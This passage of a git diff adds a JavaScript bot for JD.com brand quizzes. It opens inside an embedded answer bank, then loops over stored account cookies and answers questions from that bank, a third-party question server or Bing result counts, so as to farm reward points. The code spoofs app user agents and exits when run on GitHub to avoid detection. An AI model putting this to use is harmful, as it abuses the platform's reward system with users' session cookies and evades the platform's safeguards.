04:51:05","status":"1"},{"questionId":"9101428126","questionIndex":"1","questionStem":"以下哪个不属于百威啤酒的酿造原料?","options":"[{\"optionId\":\"IsUSx0BRhz_3BWTJtlnp89gJ2b7EiW8TnEk\",\"optionDesc\":\"高粱\\t\\t\"},{\"optionId\":\"IsUSx0BRhz_3BWTJtlnp8QoJPwIJVe4yEO0\",\"optionDesc\":\"酵母\"},{\"optionId\":\"IsUSx0BRhz_3BWTJtlnp8DqFh1XIZWdrmJU\",\"optionDesc\":\"小麦\"}]","questionToken":"IsUSx0BRhz_3BWSbpRHypgwnutLuM9UVLAllG44GeYuLEujKqgbZW-BZ0o8xRDnZRXOR-EFrMoQn3zth3VviUooOnTYQ1A","correct":"{\"optionId\":\"IsUSx0BRhz_3BWTJtlnp89gJ2b7EiW8TnEk\",\"optionDesc\":\"高粱\\t\\t\"}","create_time":"27/1/2021 04:39:13","update_time":"27/1/2021 04:39:13","status":"1"},{"questionId":"9101428130","questionIndex":"1","questionStem":"百威啤酒被誉为?","options":"[{\"optionId\":\"IsUSx0BRhz_2A2TJtlnp85Db4bJwJJXBiY3Jjw\",\"optionDesc\":\"“世界啤酒之王”\"},{\"optionId\":\"IsUSx0BRhz_2A2TJtlnp8AmJSwj4jcoB-lgsIw\",\"optionDesc\":\"“啤酒界的XO”\"},{\"optionId\":\"IsUSx0BRhz_2A2TJtlnp8bJTeUomvc-dLdAlsA\",\"optionDesc\":\"“啤酒界的保时捷”\"}]","questionToken":"IsUSx0BRhz_2A2SbpRHypjrp54S3oMZW6fVAOrqMXv752Ey1j22bLTAu2zQVlFsT1LanDxl9oSeY6wFrwiW5i_G_7Hz7CQ","correct":"{\"optionId\":\"IsUSx0BRhz_2A2TJtlnp85Db4bJwJJXBiY3Jjw\",\"optionDesc\":\"“世界啤酒之王”\"}","create_time":"27/1/2021 04:51:15","update_time":"27/1/2021 04:51:15","status":"1"},{"questionId":"9101428131","questionIndex":"1","questionStem":"美赞臣铂睿全跃产品代言人是谁?","options":"[{\"optionId\":\"IsUSx0BRhz_2AmTJtlnp8zcvtZ5EdZBISYso8w\",\"optionDesc\":\"吴磊\\t\\t\"},{\"optionId\":\"IsUSx0BRhz_2AmTJtlnp8UyQVwiDKIB0IYFrcg\",\"optionDesc\":\"应采儿\"},{\"optionId\":\"IsUSx0BRhz_2AmTJtlnp8DiwEeN4hqXIRIb48A\",\"optionDesc\":\"郑希怡\"}]","questionToken":"IsUSx0BRhz_2AmSbpRHypgpYoIm2O43K5sR1c3kA_hu5JWviarchwqe6zvPaa9huX5Yjo2Lv8JuBeLxOqLRf5Xbx760RHQ","correct":"{\"optionId\":\"IsUSx0BRhz_2AmTJtlnp8zcvtZ5EdZBISYso8w\",\"optionDesc\":\"吴磊\\t\\t\"}","create_time":"27/1/2021 04:43:13","update_time":"27/1/2021 04:43:13","status":"1"},{"questionId":"9101428491","questionIndex":"3","questionStem":"以下哪款美赞臣产品含20倍乳铁蛋白?","options":"[{\"optionId\":\"IsUSx0BRhzoyJWFqeGGW_j6wamcb5zQ5eKEM\",\"optionDesc\":\"铂睿\"},{\"optionId\":\"IsUSx0BRhzoyJWFqeGGW_C9Rsadrrl024jAX\",\"optionDesc\":\"蓝臻\"},{\"optionId\":\"IsUSx0BRhzoyJWFqeGGW_2JBCNSIEscqPzJK\",\"optionDesc\":\"学优力\\t\"}]","questionToken":"IsUSx0BRhzoyJWE6aymNqSRgPskVLI_NADijQkkctzS6eEGq5rb0Rffi0zPwqXaalmugCAhAGXxwFSAuaS6B0amjp4x6_Q","correct":"{\"optionId\":\"IsUSx0BRhzoyJWFqeGGW_C9Rsadrrl024jAX\",\"optionDesc\":\"蓝臻\"}","create_time":"27/1/2021 04:49:46","update_time":"27/1/2021 04:49:46","status":"1"},{"questionId":"9101428492","questionIndex":"3","questionStem":"美赞臣铂睿A2蛋白系列的特点是?","options":"[{\"optionId\":\"IsUSx0BRhzoyJmFqeGGW_nJ9ig06bvo8j6Fy_A\",\"optionDesc\":\"添加β葡聚糖\"},{\"optionId\":\"IsUSx0BRhzoyJmFqeGGW_CL99x1iGmo4QP4KNA\",\"optionDesc\":\"添加A2蛋白\\t\"},{\"optionId\":\"IsUSx0BRhzoyJmFqeGGW_7D3FSxydGW1Xomnaw\",\"optionDesc\":\"添加乳铁蛋白\\t\"}]","questionToken":"IsUSx0BRhzoyJmE6aymNrkymm8UkUplQad6enkVAbmJr8i2KL8ilQCzr85ON-ddYhzEsKKxMMbfPDcdHTUWzj9yucDDJmg","correct":"{\"optionId\":\"IsUSx0BRhzoyJmFqeGGW_CL99x1iGmo4QP4KNA\",\"optionDesc\":\"添加A2蛋白\\t\"}","create_time":"27/1/2021 04:39:41","update_time":"27/1/2021 04:39:41","status":"1"},{"questionId":"9101428493","questionIndex":"3","questionStem":"美赞臣亲舒使用的什么配方?","options":"[{\"optionId\":\"IsUSx0BRhzoyJ2FqeGGW_giomFfrVyvWyw\",\"optionDesc\":\"没有水解蛋白\"},{\"optionId\":\"IsUSx0BRhzoyJ2FqeGGW__aYr9mcvPGYew\",\"optionDesc\":\"深度水解蛋白\"},{\"optionId\":\"IsUSx0BRhzoyJ2FqeGGW_C6gKpGE8ViI9Q\",\"optionDesc\":\"适度水解蛋白\\t\\t\"}]","questionToken":"IsUSx0BRhzoyJ2E6aymNrim8tV4Axpa3Md0eaZGv5LvuOIgVt4C-XvZR2k2xWTKSUHXxwiBw-QiGupyprwhZEf4sNEkDLQ","correct":"{\"optionId\":\"IsUSx0BRhzoyJ2FqeGGW_C6gKpGE8ViI9Q\",\"optionDesc\":\"适度水解蛋白\\t\\t\"}","create_time":"27/1/2021 04:33:08","update_time":"27/1/2021 04:33:08","status":"1"},{"questionId":"9101428494","questionIndex":"2","questionStem":"美赞臣的哪款产品可以补充宝妈DHA呢? ","options":"[{\"optionId\":\"IsUSx0BRhzoyIGFqeGGW_lkaHYq2zWgmrgV4\",\"optionDesc\":\"铂睿全跃\"},{\"optionId\":\"IsUSx0BRhzoyIGFqeGGW_F07o53uQrgRIyN5\",\"optionDesc\":\"安蕴健\\t\\t\"},{\"optionId\":\"IsUSx0BRhzoyIGFqeGGW_1VPwcP1bXWjwC5I\",\"optionDesc\":\"学优素\"}]","questionToken":"IsUSx0BRhzoyIGE7aymNqTtWG0BWQzYK4dKfuShEySLQURGSyN6mgrwJD4FFHdVVtJ-9d17Q2g5bvkzVYFHzV9gJeltDmA","correct":"{\"optionId\":\"IsUSx0BRhzoyIGFqeGGW_F07o53uQrgRIyN5\",\"optionDesc\":\"安蕴健\\t\\t\"}","create_time":"27/1/2021 04:38:08","update_time":"27/1/2021 04:38:08","status":"1"},{"questionId":"9101428495","questionIndex":"4","questionStem":"好奇Huggies诞生于哪一年?","options":"[{\"optionId\":\"IsUSx0BRhzoyIWFqeGGW_OAloNtzZ2ZgRg\",\"optionDesc\":\"1978\"},{\"optionId\":\"IsUSx0BRhzoyIWFqeGGW_y5s2Fev08igng\",\"optionDesc\":\"1998\"},{\"optionId\":\"IsUSx0BRhzoyIWFqeGGW_rnQTJJZMNjgRA\",\"optionDesc\":\"2008\"}]","questionToken":"IsUSx0BRhzoyIWE9aymNro851_v3t2sSlgjOtir18LPWXIJjW0afF2sRqIbB3NuGoMSwEPZvojMY1AsCmOJ9dFUzRn5oUQ","correct":"{\"optionId\":\"IsUSx0BRhzoyIWFqeGGW_OAloNtzZ2ZgRg\",\"optionDesc\":\"1978\"}","create_time":"27/1/2021 04:51:14","update_time":"27/1/2021 04:51:14","status":"1"},{"questionId":"9101428496","questionIndex":"5","questionStem":"好奇Huggies的标志颜色是?","options":"[{\"optionId\":\"IsUSx0BRhzoyImFqeGGW_vKi_1BnNy9Rr-Vk\",\"optionDesc\":\"绿色\"},{\"optionId\":\"IsUSx0BRhzoyImFqeGGW_8F8hMEB1YLY84g1\",\"optionDesc\":\"黄色\"},{\"optionId\":\"IsUSx0BRhzoyImFqeGGW_INhLv1a1pRR4WKj\",\"optionDesc\":\"红色\\t\\t\"}]","questionToken":"IsUSx0BRhzoyImE8aymNrv2fczxcCr4UKxSAYPwPcFkz-zZvMBN_mh4bAhwQxHwXKsTJ1d8SL6kGmpnWf2s1FU2OaXGCDg","correct":"{\"optionId\":\"IsUSx0BRhzoyImFqeGGW_INhLv1a1pRR4WKj\",\"optionDesc\":\"红色\\t\\t\"}","create_time":"27/1/2021 04:48:43","update_time":"27/1/2021 04:48:43","status":"1"},{"questionId":"9101428497","questionIndex":"2","questionStem":"好奇皇家御裤都有什么花纹?","options":"[{\"optionId\":\"IsUSx0BRhzoyI2FqeGGW_jlnobQp6x1_Fw\",\"optionDesc\":\"萌萌金牛纹\"},{\"optionId\":\"IsUSx0BRhzoyI2FqeGGW_GLN7IKSk-MLfA\",\"optionDesc\":\"五爪金龙纹\\t\\t\"},{\"optionId\":\"IsUSx0BRhzoyI2FqeGGW_476e3lcGspA4Q\",\"optionDesc\":\"云霓凤凰纹\"}]","questionToken":"IsUSx0BRhzoyI2E7aymNqWf5Dk1rTo0R5RuBRYV6XhXwkC1EvrX3usJ9nWSGnAOhefNNumWFSFhwvNvfS4aQvEbX55KiHQ","correct":"{\"optionId\":\"IsUSx0BRhzoyI2FqeGGW_GLN7IKSk-MLfA\",\"optionDesc\":\"五爪金龙纹\\t\\t\"}","create_time":"27/1/2021 04:49:49","update_time":"27/1/2021 04:49:49","status":"1"},{"questionId":"9101428498","questionIndex":"2","questionStem":"好奇皇家御裤有多薄?","options":"[{\"optionId\":\"IsUSx0BRhzoyLGFqeGGW_2dFfPQXcwvHCVc\",\"optionDesc\":\"0.8cm的裸感芯\\t\"},{\"optionId\":\"IsUSx0BRhzoyLGFqeGGW_p3_p6XPT04fBYA\",\"optionDesc\":\"0.9cm的裸感芯\"},{\"optionId\":\"IsUSx0BRhzoyLGFqeGGW_Od48yzziZusSPo\",\"optionDesc\":\"0.3cm的裸感芯\\t\"}]","questionToken":"IsUSx0BRhzoyLGE7aymNqfghyyZF0BXRi7j-Q8IEJgUCwegbnx1DkjtKWsJfUMpIkCMvCg6p_Pp4zV_RMSIlRCOaHc1KiA","correct":"{\"optionId\":\"IsUSx0BRhzoyLGFqeGGW_Od48yzziZusSPo\",\"optionDesc\":\"0.3cm的裸感芯\\t\"}","create_time":"27/1/2021 04:38:20","update_time":"27/1/2021 04:38:20","status":"1"}] + + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + $.stopAnswer = false; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await jdImmortalAnswer() + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function jdImmortalAnswer() { + try { + $.risk = false + $.earn = 0 + await getHomeData() + if ($.risk) return + if ($.isNode()) { + //一天答题上限是15次 + for (let i = 0; i < 15; i++) { + $.log(`\n开始第 ${i + 1}次答题\n`); + await getQuestions() + await $.wait(2000) + if ($.stopAnswer) break + } + } else { + await getQuestions() + } + await showMsg() + } catch (e) { + $.logErr(e) + } +} + +function getHomeData(info = false) { + return new Promise((resolve) => { + $.post(taskPostUrl('mcxhd_brandcity_homePage'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data && data['retCode'] === "200") { + const {userCoinNum} = data.result + if (info) { + $.earn = userCoinNum - $.coin + } else { + console.log(`当前用户金币${userCoinNum}`) + } + $.coin = userCoinNum + } else { + $.risk = true + console.log(`账号被风控,无法参与活动`) + message += `账号被风控,无法参与活动\n` + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +function showMsg() { + return new Promise(resolve => { + message += `本次运行获得${$.earn}积分` + if (!jdNotify) { + $.msg($.name, '', `${message}`); + } else { + $.log(`京东账号${$.index}${$.nickName}\n${message}`); + } + resolve() + }) +} + +function getQuestions() { + return new Promise((resolve) => { + $.get(taskUrl('mcxhd_brandcity_getQuestions'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data && data['retCode'] === "200") { + console.log(`答题开启成功`) + let i = 0, questionList = [] + for (let vo of data.result.questionList) { + $.question = vo + let option = null, hasFound = false + + console.log(`去查询第${++i}题:【${vo.questionStem}】`) + let ques = $.tk.filter(qo => qo.questionId === vo.questionId) + + if (ques.length) { + ques = ques[0] + let ans = JSON.parse(ques.correct) + let opt = vo.options.filter(bo => bo.optionDesc === ans.optionDesc) + if (opt.length) { + console.log(`在脚本内置题库中找到题啦~`) + option = opt[0] + hasFound = true + } else { + console.log(`在脚本内置题库中 未找到答案,去线上题库寻找~`); + ques = await getQues(vo.questionId) + if (ques) { + let ans = JSON.parse(ques.correct) + let opt = vo.options.filter(bo => bo.optionDesc === ans.optionDesc) + if (opt.length) { + console.log(`在线上题库中找到题啦~`) + option = opt[0] + hasFound = true + } + } + } + } + + if (!option) { + console.log(`在题库中未找到题`) + let ans = -1 + for (let opt of vo.options) { + let str = vo.questionStem + opt.optionDesc + console.log(`去搜索${str}`) + let res = await bing(str) + if (res > ans) { + option = opt + ans = res + } + await $.wait(2 * 1000) + } + if (!option) { + option = vo.options[1] + console.log(`未找到答案,都选B【${option.optionDesc}】\n`) + } else { + console.log(`选择搜索返回结果最多的一项【${option.optionDesc}】\n`) + } + } + + let b = { + "questionToken": vo.questionToken, + "optionId": option.optionId + } + $.option = option + await answer(b) + if (!hasFound) questionList.push($.question) + if (i < data.result.questionList.length) { + if (hasFound) + await $.wait(2 * 1000) + else + await $.wait(5 * 1000) + } + } + for (let vo of questionList) { + $.question = vo + await submitQues({ + ...$.question, + options: JSON.stringify($.question.options), + correct: JSON.stringify($.question.correct), + }) + } + } else if (data && data['retCode'] === '325') { + console.log(`答题开启失败,${data['retMessage']}`); + $.stopAnswer = true;//答题已到上限 + } else if (data && data['retCode'] === '326') { + console.log(`答题开启失败,${data['retMessage']}`); + $.stopAnswer = true;//答题已到上限 + } else { + console.log(JSON.stringify(data)) + console.log(`答题开启失败`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +function submitQues(question) { + return new Promise(resolve => { + $.post({ + 'url': 'http://qa.turinglabs.net:8081/api/v1/question', + 'headers': { + 'Content-Type': 'application/json' + }, + body: JSON.stringify(question), + }, (err, resp, data) => { + try { + data = JSON.parse(data) + if (data.status === 200) { + console.log(`提交成功`) + } else { + console.log(`提交失败`) + } + resolve() + } catch (e) { + console.log(e) + } finally { + resolve() + } + }) + }) +} + +function getQues(questionId) { + return new Promise(resolve => { + $.get({ + 'url': `http://qa.turinglabs.net:8081/api/v1/question/${questionId}/`, + 'headers': { + 'Content-Type': 'application/json' + } + }, (err, resp, data) => { + try { + data = JSON.parse(data) + if (data.status === 200) { + resolve(data.data) + } else { + resolve(null) + } + } catch (e) { + console.log(e) + } finally { + resolve() + } + }) + }) +} + +function answer(body = {}) { + return new Promise((resolve) => { + $.get(taskUrl('mcxhd_brandcity_answerQuestion', {"costTime": 1, ...body}), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + // console.log(data) + if (data && data['retCode'] === "200") { + if (data.result.isCorrect) { + console.log(`您选对啦!获得积分${data.result.score},本次答题共计获得${data.result.totalScore}分`) + $.earn += parseInt(data.result.score) + $.question = { + ...$.question, + correct: $.option + } + } else { + let correct = $.question.options.filter(vo => vo.optionId === data.result.correctOptionId)[0] + console.log(`您选错啦~正确答案是:${correct.optionDesc}`) + $.question = { + ...$.question, + correct: correct + } + } + if (data.result.isLastQuestion) { + console.log(`答题完成`) + } + } else { + console.log(`答题失败`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +function bing(str) { + return new Promise(resolve => { + $.ckjar = null; + $.get({ + url: `https://www.bing.com/search?q=${str}`, + headers: { + 'Connection': 'Keep-Alive', + 'Accept': 'text/html, application/xhtml+xml, */*', + 'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6', + 'Accept-Encoding': 'gzip, deflate', + 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4371.0 Safari/537.36' + } + }, (err, resp, data) => { + try { + let num = parseInt(data.match(/="sb_count">(.*) 条结果<\/span>/)[1].split(',').join('')) + console.log(`找到结果${num}个`) + resolve(num) + } catch (e) { + console.log(e) + } finally { + resolve() + } + }) + }) + +} + +function taskUrl(function_id, body = {}, function_id2) { + body = {"token": 'jd17919499fb7031e5', ...body} + return { + url: `${JD_API_HOST}?functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0&appid=publicUseApi&t=${new Date().getTime()}&sid=&uuid=&area=&networkType=wifi`, + headers: { + "Cookie": cookie, + 'Accept': "application/json, text/plain, */*", + 'Accept-Language': 'zh-cn', + "origin": "https://h5.m.jd.com", + "referer": "https://h5.m.jd.com/babelDiy/Zeus/4XjemYYyPScjmGyjej78M6nsjZvj/index.html", + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('../USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } +} + +function taskPostUrl(function_id, body = {}, function_id2) { + let url = `${JD_API_HOST}`; + if (function_id2) { + url += `?functionId=${function_id2}`; + } + body = {...body, "token": 'jd17919499fb7031e5'} + return { + url, + body: `functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0&appid=publicUseApi`, + headers: { + "Cookie": cookie, + "origin": "https://h5.m.jd.com", + "referer": "https://h5.m.jd.com/", + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('../USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('../USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_jdh.js b/activity/jd_jdh.js new file mode 100644 index 0000000..72a2fbf --- /dev/null +++ b/activity/jd_jdh.js @@ -0,0 +1,433 @@ +/* +京东健康 